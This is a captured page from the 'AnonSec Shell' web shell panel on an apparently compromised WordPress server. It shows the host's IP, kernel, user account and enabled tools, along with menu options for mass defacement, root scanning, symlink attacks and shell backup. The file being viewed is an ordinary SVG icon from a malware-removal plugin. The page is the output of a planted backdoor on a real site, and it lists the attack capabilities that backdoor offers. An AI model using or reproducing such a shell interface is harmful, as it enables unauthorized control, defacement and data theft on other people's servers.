. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.41.133  /  Your IP : 3.147.55.1   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux altar63.supremepanel63.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : abranoticias ( 1103)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/178069/cwd/wp-content/plugins/wp-malware-removal/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/178069/cwd/wp-content/plugins/wp-malware-removal/assets/scale.svg
<svg id="Layer_1" data-name="Layer 1" 
    xmlns="http://www.w3.org/2000/svg" viewBox="0 0 2069.04 2069.04">
    <defs>
        <style>.cls-1{fill:none;}.cls-2{fill:#c00;stroke:#c00;stroke-miterlimit:10;stroke-width:4px;}</style>
        
    </defs>
    <title>scale</title>
    <g id="Layer_2" data-name="Layer 2">
        <g id="Layer_1-2" data-name="Layer 1-2">
            <circle class="cls-1" cx="1034.52" cy="1034.52" r="1000"/>
            <polygon class="cls-2" points="1866.99 1035.25 1867.02 1033.06 2067.02 1032.71 2066.99 1035.42 1866.99 1035.25"/>
            <path class="cls-2" d="M1908.73,1352.28c.3-.76.55-1.53.82-2.3l94,34c-.3.85-.58,1.71-.91,2.55Z" transform="translate(2.02 2.02)"/>
            <polygon class="cls-2" points="2014.41 1208.2 2014.83 1205.63 2051.78 1212.03 2051.34 1214.7 2014.41 1208.2"/>
            <polygon class="cls-2" points="1798.56 1476.38 1799.74 1474.39 1929.7 1549.28 1928.33 1551.61 1798.56 1476.38"/>
            <polygon class="cls-2" points="1748.32 1634.47 1749.9 1632.61 1826.58 1696.79 1824.84 1698.86 1748.32 1634.47"/>
            <polygon class="cls-2" points="1673.4 1797.28 1675.38 1795.59 1699.55 1824.26 1697.49 1826.01 1673.4 1797.28"/>
            <polygon class="cls-2" points="1450.07 1756.08 1451.95 1754.96 1552.41 1927.9 1550.08 1929.28 1450.07 1756.08"/>
            <polygon class="cls-2" points="1195.75 1953.08 1198.16 1952.68 1215.58 2051.15 1212.92 2051.6 1195.75 1953.08"/>
            <polygon class="cls-2" points="1374.09 1970.02 1376.54 1969.15 1389.43 2004.37 1386.88 2005.27 1374.09 1970.02"/>
            <polygon class="cls-2" points="1033.74 1916.99 1036.06 1917.02 1036.32 2067.02 1033.62 2066.99 1033.74 1916.99"/>
            <polygon class="cls-2" points="871.67 1952.85 874.08 1953.24 857.01 2051.78 854.34 2051.34 871.67 1952.85"/>
            <path class="cls-2" d="M691.29,1967.44c.81.32,1.63.59,2.45.88L681,2003.58c-.85-.3-1.71-.58-2.55-.91Z" transform="translate(2.02 2.02)"/>
            <polygon class="cls-2" points="617.73 1755.31 619.61 1756.42 519.75 1929.7 517.42 1928.33 617.73 1755.31"/>
            <polygon class="cls-2" points="319.65 1633.24 321.23 1635.1 244.77 1699.55 243.02 1697.49 319.65 1633.24"/>
            <polygon class="cls-2" points="394.32 1796.15 396.32 1797.83 372.25 1826.58 370.18 1824.84 394.32 1796.15"/>
            <polygon class="cls-2" points="269.66 1475.08 270.84 1477.06 141.14 1552.41 139.76 1550.08 269.66 1475.08"/>
            <polygon class="cls-2" points="157.76 1352.76 158.57 1355.06 64.67 1389.43 63.76 1386.88 157.76 1352.76"/>
            <polygon class="cls-2" points="54.38 1206.48 54.81 1209.05 17.89 1215.58 17.44 1212.92 54.38 1206.48"/>
            <polygon class="cls-2" points="202.05 1033.79 202.02 1035.97 2.02 1036.32 2.05 1033.62 202.05 1033.79"/>
            <path class="cls-2" d="M156.26,712.72c-.3.76-.55,1.53-.82,2.3l-94-34c.3-.85.59-1.71.91-2.55Z" transform="translate(2.02 2.02)"/>
            <polygon class="cls-2" points="54.63 860.84 54.21 863.41 17.26 857.01 17.7 854.34 54.63 860.84"/>
            <polygon class="cls-2" points="270.47 592.66 269.3 594.65 139.33 519.75 140.7 517.42 270.47 592.66"/>
            <polygon class="cls-2" points="320.71 434.56 319.14 436.43 242.46 372.25 244.2 370.18 320.71 434.56"/>
            <polygon class="cls-2" points="395.64 271.76 393.65 273.45 369.48 244.77 371.54 243.02 395.64 271.76"/>
            <polygon class="cls-2" points="618.96 312.96 617.09 314.07 516.63 141.14 518.95 139.76 618.96 312.96"/>
            <polygon class="cls-2" points="873.28 115.96 870.88 116.36 853.45 17.89 856.12 17.44 873.28 115.96"/>
            <polygon class="cls-2" points="694.95 99.01 692.49 99.88 679.6 64.67 682.15 63.76 694.95 99.01"/>
            <polygon class="cls-2" points="1035.29 152.05 1032.98 152.02 1032.71 2.02 1035.42 2.05 1035.29 152.05"/>
            <polygon class="cls-2" points="1197.36 116.19 1194.95 115.79 1212.03 17.26 1214.7 17.7 1197.36 116.19"/>
            <path class="cls-2" d="M1373.71,97.55c-.81-.32-1.63-.59-2.45-.88L1384,61.41c.85.3,1.71.58,2.55.91Z" transform="translate(2.02 2.02)"/>
            <polygon class="cls-2" points="1451.3 313.73 1449.43 312.62 1549.28 139.33 1551.61 140.7 1451.3 313.73"/>
            <polygon class="cls-2" points="1749.38 435.8 1747.8 433.94 1824.26 369.48 1826.01 371.54 1749.38 435.8"/>
            <polygon class="cls-2" points="1674.71 272.89 1672.72 271.21 1696.79 242.46 1698.86 244.2 1674.71 272.89"/>
            <polygon class="cls-2" points="1799.38 593.96 1798.2 591.98 1927.9 516.63 1929.28 518.96 1799.38 593.96"/>
            <polygon class="cls-2" points="1911.28 716.28 1910.46 713.98 2004.37 679.6 2005.27 682.15 1911.28 716.28"/>
            <polygon class="cls-2" points="2014.65 862.55 2014.22 859.99 2051.15 853.45 2051.6 856.12 2014.65 862.55"/>
        </g>
    </g>
</svg>

Anon7 - 2022
AnonSec Team